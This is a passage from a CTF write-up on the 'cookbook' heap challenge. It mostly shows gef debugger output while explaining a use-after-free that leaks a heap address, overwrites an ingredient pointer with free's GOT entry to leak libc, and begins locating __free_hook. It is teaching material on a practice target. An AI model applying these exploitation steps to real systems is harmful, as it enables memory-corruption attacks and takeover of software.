────────────────────────────────────────────────────────────
registers ────
$eax   : 0x0804f2b0  →  0x0804f6c0  →  0x0804e050  →  0x00000000
$ebx   : 0xffffcff0  →  0x00000001
$ecx   : 0x1
$edx   : 0xffffce62  →  0x00000070 ("p"?)
$esp   : 0xffffce20  →  0x0804f2b0  →  0x0804f6c0  →  0x0804e050  →  0x00000000
$ebp   : 0xffffcf08  →  0xffffcfc8  →  0xffffcfd8  →  0x00000000
$esi   : 0xf7fb6000  →  0x001b1db0
$edi   : 0xf7fb6000  →  0x001b1db0
$eip   : 0x080495a0  →   call 0x80495d6
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────
stack ────
0xffffce20│+0x0000: 0x0804f2b0  →  0x0804f6c0  →  0x0804e050  →  0x00000000  ←
$esp
0xffffce24│+0x0004: 0x0804a5ea  →   or al, BYTE PTR [eax]
0xffffce28│+0x0008: 0xf7fb65a0  →  0xfbad208b
0xffffce2c│+0x000c: 0xf7fb6d60  →  0xfbad2887
0xffffce30│+0x0010: 0xf7e6efa7  →  <__uflow+7> add ebx, 0x147059
0xffffce34│+0x0014: 0xf7fb65e8  →  0xf7fb787c  →  0x00000000
0xffffce38│+0x0018: 0x00000000
0xffffce3c│+0x001c: 0xf7e63291  →  <_IO_getline_info+161> add esp, 0x10
────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8049597                  mov    eax, ds:0x804d0a0
    0x804959c                  sub    esp, 0xc
    0x804959f                  push   eax
 →  0x80495a0                  call   0x80495d6
   ↳   0x80495d6                  push   ebp
       0x80495d7                  mov    ebp, esp
       0x80495d9                  sub    esp, 0x38
       0x80495dc                  mov    eax, DWORD PTR [ebp+0x8]
       0x80495df                  mov    DWORD PTR [ebp-0x2c], eax
       0x80495e2                  mov    eax, gs:0x14
────────────────────────────────────────────────────────────
arguments (guessed) ────
0x80495d6 (
   [sp + 0x0] = 0x0804f2b0 → 0x0804f6c0 → 0x0804e050 → 0x00000000,
   [sp + 0x4] = 0x0804a5ea →  or al, BYTE PTR [eax]
)
```

```
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────
trace ────
[#0] 0x80495a0 → call 0x80495d6
[#1] 0x8048a67 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf7e1c637 → __libc_start_main()
[#4] 0x8048621 → hlt
───────────────────────────────────────────────────────────────
gef➤  x/3wx 0x0804f2b0
0x804f2b0:  0x0804f6c0  0x0804f6d0  0x00000000
gef➤  x/4w 0x0804f6c0
0x804f6c0:  0x0804e050  0x00000000  0x00000000  0x00000011
gef➤  x/3w 0x0804e050
0x804e050:  0x00000000  0x00000006  0x65746177
gef➤  x/s 0x0804e058
0x804e058:  "water"
```

So here we can see is the memory for our recipe (starting at `0x0804f2b0`). We can see that the pointers to the linked list for the ingredients (stored at `0x0804f6c0`), and the array of our ingredient counts. Also we can see our `water` ingredient at `0x804e050` . Let's see what the memory for the `currentRecipe` looks like after we free it:

```
gef➤  c
Continuing.
[------]
recipe type: (null)

1 - water
total cost : $6
total cals : 0
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
d
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
p

Breakpoint 1, 0x080495a0 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0x0804f2b0  →  0xf7fb67b0  →  0x0804f6d8  →  0x00000000
$ebx   : 0xffffcff0  →  0x00000001
$ecx   : 0x1
$edx   : 0xffffce62  →  0x00000070 ("p"?)
$esp   : 0xffffce20  →  0x0804f2b0  →  0xf7fb67b0  →  0x0804f6d8  →  0x00000000
$ebp   : 0xffffcf08  →  0xffffcfc8  →  0xffffcfd8  →  0x00000000
$esi   : 0xf7fb6000  →  0x001b1db0
$edi   : 0xf7fb6000  →  0x001b1db0
$eip   : 0x080495a0  →   call 0x80495d6
$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffce20│+0x0000: 0x0804f2b0  →  0xf7fb67b0  →  0x0804f6d8  →  0x00000000  ←
$esp
0xffffce24│+0x0004: 0x0804a5ea  →   or al, BYTE PTR [eax]
0xffffce28│+0x0008: 0xf7fb65a0  →  0xfbad208b
0xffffce2c│+0x000c: 0xf7fb6d60  →  0xfbad2887
```

```
0xffffce30│+0x0010: 0xf7e6efa7  →  <__uflow+7> add ebx, 0x147059
0xffffce34│+0x0014: 0xf7fb65e8  →  0xf7fb787c  →  0x00000000
0xffffce38│+0x0018: 0x00000000
0xffffce3c│+0x001c: 0xf7e63291  →  <_IO_getline_info+161> add esp, 0x10
────────────────────────────────────────────────────────────────────────
code:x86:32 ────
    0x8049597                  mov    eax, ds:0x804d0a0
    0x804959c                  sub    esp, 0xc
    0x804959f                  push   eax
 →  0x80495a0                  call   0x80495d6
   ↳   0x80495d6                  push   ebp
       0x80495d7                  mov    ebp, esp
       0x80495d9                  sub    esp, 0x38
       0x80495dc                  mov    eax, DWORD PTR [ebp+0x8]
       0x80495df                  mov    DWORD PTR [ebp-0x2c], eax
       0x80495e2                  mov    eax, gs:0x14
────────────────────────────────────────────────────────────────────
arguments (guessed) ────
0x80495d6 (
   [sp + 0x0] = 0x0804f2b0 → 0xf7fb67b0 → 0x0804f6d8 → 0x00000000,
   [sp + 0x4] = 0x0804a5ea →  or al, BYTE PTR [eax]
)
────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x80495a0 → call 0x80495d6
[#1] 0x8048a67 → jmp 0x8048b42
[#2] 0x804a426 → call 0x8049bed
[#3] 0xf7e1c637 → __libc_start_main()
[#4] 0x8048621 → hlt
────────────────────────────────────────────────────────────────────────
gef➤  x/3wx 0x0804f2b0
0x804f2b0:  0xf7fb67b0  0xf7fb67b0  0x00000000
gef➤  x/w 0xf7fb67b0
0xf7fb67b0: 0x0804f6d8
gef➤  heap bins
[+] No Tcache in this version of libc
─────────────────────────────────── Fastbins for arena 0xf7fb6780
───────────────────────────────────
Fastbins[idx=0, size=0x8] 0x00
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
─────────────────────────────── Unsorted Bin for arena '*0xf7fb6780'
───────────────────────────────
[+] unsorted_bins[0]: fw=0x804f2a8, bk=0x804f2a8
 →   Chunk(addr=0x804f2b0, size=0x410, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
```

```
──────────────────────────────── Small Bins for arena '*0xf7fb6780'
────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────── Large Bins for arena '*0xf7fb6780'
────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
gef➤  c
Continuing.
[------]
recipe type: (null)

134543064 -
total cost : $331063448
total cals : 0
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
```

So we can see that the data has been replaced with heap metadata, which is a heap pointer `0x804f6d8`. Because of its positioning, it is where it expects the ingredients to be it ends up printing out the value being pointed to `0x804f6d8` in base ten (134543064). With this we have a heap address which we can use to bypass ASLR in the heap.

Libc Infoleak

The next infoleak we will need will be a libc infoleak. Next up, let's see what happens when we allocate space to a recipe, free it, then make a new ingredient. Let's see exactly how the data is layed out when this happens:

```
gef➤  r
Starting program: /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
what's your name?
guyinatuxedo
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
n
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
a
which ingredient to add? water
how many? (hex): 0x1
nice
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
```

```
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
i
15935728
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ─────
$eax   : 0xfffffe00
$ebx   : 0x0
$ecx   : 0xf7fb65e7  →  0xfb787c0a
$edx   : 0x1
$esp   : 0xffffccc8  →  0xffffcd18  →  0x00000009
$ebp   : 0xffffcd18  →  0x00000009
$esi   : 0xf7fb65a0  →  0xfbad208b
$edi   : 0xf7fb6d60  →  0xfbad2887
$eip   : 0xf7fd7fe9  →  <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ─────
0xffffccc8│+0x0000: 0xffffcd18  →  0x00000009  ← $esp
0xffffcccc│+0x0004: 0x00000001
0xffffccd0│+0x0008: 0xf7fb65e7  →  0xfb787c0a
0xffffccd4│+0x000c: 0xf7ed9b23  →  <read+35> pop ebx
0xffffccd8│+0x0010: 0xf7fb6000  →  0x001b1db0
0xffffccdc│+0x0014: 0xf7e6e267  →  <_IO_file_underflow+295> add esp, 0x10
0xffffcce0│+0x0018: 0x00000000
0xffffcce4│+0x001c: 0xf7fb65e7  →  0xfb787c0a
```

```
code:x86:32 ─────
   0xf7fd7fe3 <__kernel_vsyscall+3> mov    ebp, ecx
   0xf7fd7fe5 <__kernel_vsyscall+5> syscall
   0xf7fd7fe7 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd7fe9 <__kernel_vsyscall+9> pop    ebp
   0xf7fd7fea <__kernel_vsyscall+10> pop    edx
   0xf7fd7feb <__kernel_vsyscall+11> pop    ecx
   0xf7fd7fec <__kernel_vsyscall+12> ret
   0xf7fd7fed                       nop
```

```
   0xf7fd7fee                  nop
```

```
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
```

```
trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8049159 → add esp, 0x10
[#9] 0x8048a67 → jmp 0x8048b42
```

```
gef➤  x/wx 0x804d0a0
0x804d0a0:  0x0804f2b0
gef➤  x/40w 0x804f2b0
0x804f2b0:  0x0804f6c0  0x0804f6d0  0x00000000  0x00000000
0x804f2c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f300:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f310:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f320:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f330:  0x00000000  0x00000000  0x00000000  0x33393531
0x804f340:  0x38323735  0x0000000a  0x00000000  0x00000000
gef➤  x/w 0x804f6c0
0x804f6c0:  0x0804e050
gef➤  x/3w 0x0804e050
0x804e050:  0x00000000  0x00000006  0x65746177
gef➤  x/w 0x0804f6d0
0x804f6d0:  0x00000001
```

So we can see here is the memory for the recipe we created. We can see our ingredients, the ingredient counts, and the instructions for the recipe. Let's free this region of memory, then see what it looks like after it has been freed:

```
gef➤  c
Continuing.
d
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
q
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0xfffffe00
$ebx   : 0x0
$ecx   : 0xf7fb65e7  →  0xfb787c0a
$edx   : 0x1
$esp   : 0xffffcda8  →  0xffffcdf8  →  0x00000009
$ebp   : 0xffffcdf8  →  0x00000009
$esi   : 0xf7fb65a0  →  0xfbad208b
$edi   : 0xf7fb6d60  →  0xfbad2887
$eip   : 0xf7fd7fe9  →  <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcda8│+0x0000: 0xffffcdf8  →  0x00000009  ← $esp
0xffffcdac│+0x0004: 0x00000001
0xffffcdb0│+0x0008: 0xf7fb65e7  →  0xfb787c0a
0xffffcdb4│+0x000c: 0xf7ed9b23  →  <read+35> pop ebx
0xffffcdb8│+0x0010: 0xf7fb6000  →  0x001b1db0
0xffffcdbc│+0x0014: 0xf7e6e267  →  <_IO_file_underflow+295> add esp, 0x10
0xffffcdc0│+0x0018: 0x00000000
0xffffcdc4│+0x001c: 0xf7fb65e7  →  0xfb787c0a
```

```
code:x86:32 ────
   0xf7fd7fe3 <__kernel_vsyscall+3> mov    ebp, ecx
   0xf7fd7fe5 <__kernel_vsyscall+5> syscall
   0xf7fd7fe7 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd7fe9 <__kernel_vsyscall+9> pop    ebp
   0xf7fd7fea <__kernel_vsyscall+10> pop    edx
   0xf7fd7feb <__kernel_vsyscall+11> pop    ecx
   0xf7fd7fec <__kernel_vsyscall+12> ret
   0xf7fd7fed                  nop
   0xf7fd7fee                  nop
```

```
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
```

```
trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8048a20 → add esp, 0x10
[#9] 0x804a426 → call 0x8049bed
```

```
gef➤  x/40w 0x804f2b0
0x804f2b0:  0xf7fb67b0  0xf7fb67b0  0x00000000  0x00000000
0x804f2c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f300:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f310:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f320:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f330:  0x00000000  0x00000000  0x00000000  0x33393531
0x804f340:  0x38323735  0x0000000a  0x00000000  0x00000000
gef➤  x/w 0xf7fb67b0
0xf7fb67b0: 0x0804f6d8
```

So we can see that the pointers to ingredient counts and ingredient pointers have been written over with heap metadata (pointing to the next area of the heap which can be allocated). We can see that the recipe instructions remain there. Let's add an ingredient now and see how this memory region looks:

```
gef➤  c
Continuing.
a
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
n
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
g
0000
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
p
1
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
s
2
====================
[l]ist current stats?
```

```
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
$eax   : 0xfffffe00
$ebx   : 0x0
$ecx   : 0xf7fb65e7  →  0xfb787c0a
$edx   : 0x1
$esp   : 0xffffcd68  →  0xffffcdb8  →  0x00000009
$ebp   : 0xffffcdb8  →  0x00000009
$esi   : 0xf7fb65a0  →  0xfbad208b
$edi   : 0xf7fb6d60  →  0xfbad2887
$eip   : 0xf7fd7fe9  →  <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffcd68│+0x0000: 0xffffcdb8  →  0x00000009  ← $esp
0xffffcd6c│+0x0004: 0x00000001
0xffffcd70│+0x0008: 0xf7fb65e7  →  0xfb787c0a
0xffffcd74│+0x000c: 0xf7ed9b23  →  <read+35> pop ebx
0xffffcd78│+0x0010: 0xf7fb6000  →  0x001b1db0
0xffffcd7c│+0x0014: 0xf7e6e267  →  <_IO_file_underflow+295> add esp, 0x10
0xffffcd80│+0x0018: 0x00000000
0xffffcd84│+0x001c: 0xf7fb65e7  →  0xfb787c0a
```

```
code:x86:32 ────
   0xf7fd7fe3 <__kernel_vsyscall+3> mov    ebp, ecx
   0xf7fd7fe5 <__kernel_vsyscall+5> syscall
   0xf7fd7fe7 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd7fe9 <__kernel_vsyscall+9> pop    ebp
   0xf7fd7fea <__kernel_vsyscall+10> pop    edx
   0xf7fd7feb <__kernel_vsyscall+11> pop    ecx
   0xf7fd7fec <__kernel_vsyscall+12> ret
   0xf7fd7fed                  nop
   0xf7fd7fee                  nop
```

```
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
```

```
trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
```

```
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8048d45 → add esp, 0x10
[#9] 0x8048a5d → jmp 0x8048b42
```

```
gef➤  x/wx 0x804d09c
0x804d09c:  0x0804f2b0
gef➤  x/40w 0x0804f2b0
0x804f2b0:  0x00000002  0x00000001  0x30303030  0x00000000
0x804f2c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f300:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f310:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f320:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f330:  0x00000000  0x00000000  0x00000000  0x0804f2b0
0x804f340:  0x38323735  0x00000379  0xf7fb67b0  0xf7fb67b0
gef➤  x/w 0x804d0a0
0x804d0a0:  0x0804f2b0
```

So we can see that the instructions we had at `0x804f33c` for the recipe have been overwritten with a pointer to the ingredient (which we can see the calories, price, and name starting at `0x804f2b0`). Because of its position being in the exact spot that the instructions were at, we should be able to make a new recipe and overwrite that pointer since `currentRecipe` is still pointing to `0x804f2b0`.

```
gef➤  c
Continuing.
e
saved!
====================
[l]ist current stats?
[n]ew ingredient?
[c]ontinue editing ingredient?
[d]iscard current ingredient?
[g]ive name to ingredient?
[p]rice ingredient?
[s]et calories?
[q]uit (doesn't save)?
[e]xport saving changes (doesn't quit)?
q
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
c
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
i
7895
[n]ew recipe
[d]iscard recipe
[a]dd ingredient
[r]emove ingredient
[g]ive recipe a name
[i]nclude instructions
[s]ave recipe
[p]rint current recipe
[q]uit
^C
Program received signal SIGINT, Interrupt.
0xf7fd7fe9 in __kernel_vsyscall ()
[ Legend: Modified register | Code | Heap | Stack | String ]
```

```
registers ────
```

```
$eax   : 0xfffffe00
$ebx   : 0x0
$ecx   : 0xf7fb65e7  →  0xfb787c0a
$edx   : 0x1
$esp   : 0xffffccc8  →  0xffffcd18  →  0x00000009
$ebp   : 0xffffcd18  →  0x00000009
$esi   : 0xf7fb65a0  →  0xfbad208b
$edi   : 0xf7fb6d60  →  0xfbad2887
$eip   : 0xf7fd7fe9  →  <__kernel_vsyscall+9> pop ebp
$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
```

```
stack ────
0xffffccc8│+0x0000: 0xffffcd18  →  0x00000009  ← $esp
0xffffcccc│+0x0004: 0x00000001
0xffffccd0│+0x0008: 0xf7fb65e7  →  0xfb787c0a
0xffffccd4│+0x000c: 0xf7ed9b23  →  <read+35> pop ebx
0xffffccd8│+0x0010: 0xf7fb6000  →  0x001b1db0
0xffffccdc│+0x0014: 0xf7e6e267  →  <_IO_file_underflow+295> add esp, 0x10
0xffffcce0│+0x0018: 0x00000000
0xffffcce4│+0x001c: 0xf7fb65e7  →  0xfb787c0a
```

```
code:x86:32 ────
   0xf7fd7fe3 <__kernel_vsyscall+3> mov    ebp, ecx
   0xf7fd7fe5 <__kernel_vsyscall+5> syscall
   0xf7fd7fe7 <__kernel_vsyscall+7> int    0x80
 → 0xf7fd7fe9 <__kernel_vsyscall+9> pop    ebp
   0xf7fd7fea <__kernel_vsyscall+10> pop    edx
   0xf7fd7feb <__kernel_vsyscall+11> pop    ecx
   0xf7fd7fec <__kernel_vsyscall+12> ret
   0xf7fd7fed                  nop
   0xf7fd7fee                  nop
```

```
threads ────
[#0] Id 1, Name: "cookbook", stopped, reason: SIGINT
```

```
trace ────
[#0] 0xf7fd7fe9 → __kernel_vsyscall()
[#1] 0xf7ed9b23 → read()
[#2] 0xf7e6e267 → _IO_file_underflow()
[#3] 0xf7e6f237 → _IO_default_uflow()
[#4] 0xf7e6f02c → __uflow()
[#5] 0xf7e63291 → _IO_getline_info()
[#6] 0xf7e633ce → _IO_getline()
[#7] 0xf7e621ed → fgets()
[#8] 0x8049159 → add esp, 0x10
[#9] 0x8048a67 → jmp 0x8048b42
```

```
gef➤  x/40w 0x0804f2b0
0x804f2b0:  0x00000002  0x00000001  0x30303030  0x00000000
0x804f2c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2d0:  0x00000000  0x00000000  0x00000000  0x00000000
```

```
0x804f2e0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f2f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f300:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f310:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f320:  0x00000000  0x00000000  0x00000000  0x00000000
0x804f330:  0x00000000  0x00000000  0x00000000  0x35393837
0x804f340:  0x3832000a  0x00000011  0x0804f2b0  0x00000000
```

So we can see that the pointer to our new ingredient is at `0x804f348`, and is within the range of the write we get for making instructions which starts at `0x804f33c`. So using this, we can overwrite the pointer for this new ingredient by writing `'0'*12 + x` where `x` is the value we are replacing the pointer with.

Now with this we can get another infoleak, this time to libc. Looking at the `printIngredientProperties()` function we can see that it is expecting a pointer to print out. We should be able to overwrite the ingredient pointer with a GOT table address for a libc function, which will store the actual libc address for that function. Because of this, when we trigger the option for listing the ingredients, it will print out that libc address, plus two other address 4 and 8 bytes down.

Let's find a got address for the function free:

```
$ $ readelf --relocs ./cookbook | grep free
0804d018  00000407 R_386_JUMP_SLOT   00000000   free@GLIBC_2.0
```

So if we overwrite the address of our new ingredient with `0x804d018` it should print out the address of free, and with that we can break ASLR in libc.

Now one thing to remember about doing this write, since we are dealing with a linked list, it will expect a pointer to the next item right after the current pointer (unless if there are no more, which is signified by 0x00000000). SInce our input is scanned in using `fgets()`, there will be a trailing newline character which will get written to the location that it will expect the next pointer, so we will need to add four null bytes, otherwise it will try to interpret 0xa as a pointer and crash.

Also the whole reason we are able to do this, is because `currentRecipe` is not reset to 0 after the pointer it contains is freed (so we have that UAF).

Finding Free Hook

So in order to write to the free hook, we need to first find it. If we have symbols, we can do something like this:

```
gef➤  set __free_hook = 0xfacade
gef➤  search-pattern 0xfacade
[+] Searching '\xde\xca\xfa' in memory
[+] In (0xf7fb4000-0xf7fb7000), permission=rw-
  0xf7fb48b0 - 0xf7fb48bc  →   "\xde\xca\xfa[...]"
gef➤  x/w 0xf7fb48b0
0xf7fb48b0 <__free_hook>: 0x00facade
```

However what if we don't have symbols? Before we do that, let's look at the assembly code for free:

```
=> 0xf7f1b625:  mov    ebx,DWORD PTR [esp]
   0xf7f1b628:  ret
```

```
gef➤  x/20i free
   0xf75dedc0 <free>: push   ebx
   0xf75dedc1 <free+1>: call   0xf768f625
   0xf75dedc6 <free+6>: add    ebx,0x14323a
   0xf75dedcc <free+12>:  sub    esp,0x8
   0xf75dedcf <free+15>:  mov    eax,DWORD PTR [ebx-0x98]
   0xf75dedd5 <free+21>:  mov    ecx,DWORD PTR [esp+0x10]
   0xf75dedd9 <free+25>:  mov    eax,DWORD PTR [eax]
   0xf75deddb <free+27>:  test   eax,eax
   0xf75deddd <free+29>:  jne    0xf75dee50 <free+144>
```

So we can see here the value of `ebx` is just the stack pointer . Then it has the hex string `0x1432a` added to it, then has `0x98` subtracted from it before it is moved into `eax` to be used as the free hook. Then it checks to see if it actually points anything (checks to see if there is a hook) and if there is, it will jump to the part where it will execute the hook.

```
   0xf7e6ae50 <free+144>: sub    esp,0x8
   0xf7e6ae53 <free+147>: push   DWORD PTR [esp+0x14]
   0xf7e6ae57 <free+151>: push   ecx
   0xf7e6ae58 <free+152>: call   eax
```

Here we can see it calls `eax` which has the web hook from the previous block. Let's see where the free hook is in memory:

```
gef➤  b free
Breakpoint 1 at 0x8048530
gef➤  r
Starting program: /Hackery/pod/modules/house_of_force/bkp16_cookbook/cookbook
what's your name?
guyinatuxedo
+-----------------------------+
|          .--,--.            |
|          `.  ,.'            |
|           |___|             |
|           :o o:             |
|          _`~^~'             |
|        /'   ^   `\          |
| cooking manager pro v6.1... |
+-----------------------------+
====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
g
how long is the name of your cookbook? (hex because you're both a chef and a
hacker!) : 0x50
15935728
the new name of the cookbook is 15935728

====================
[l]ist ingredients
[r]ecipe book
[a]dd ingredient
[c]reate recipe
[e]xterminate ingredient
[d]elete recipe
[g]ive your cookbook a name!
[R]emove cookbook name
[q]uit
R

[----------------------------------registers-----------------------------------]
EAX: 0x804f2b0 ("15935728\n")
EBX: 0xffffd190 --> 0x1
ECX: 0xffffd152 --> 0xa5000a52
EDX: 0xf7fb487c --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b5db0
EBP: 0xffffd0a8 --> 0xffffd168 --> 0xffffd178 --> 0x0
ESP: 0xffffd08c --> 0x8048b62 (add    esp,0x10)
```

```
EIP: 0xf7e6fdc0 (<free>:  push   ebx)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
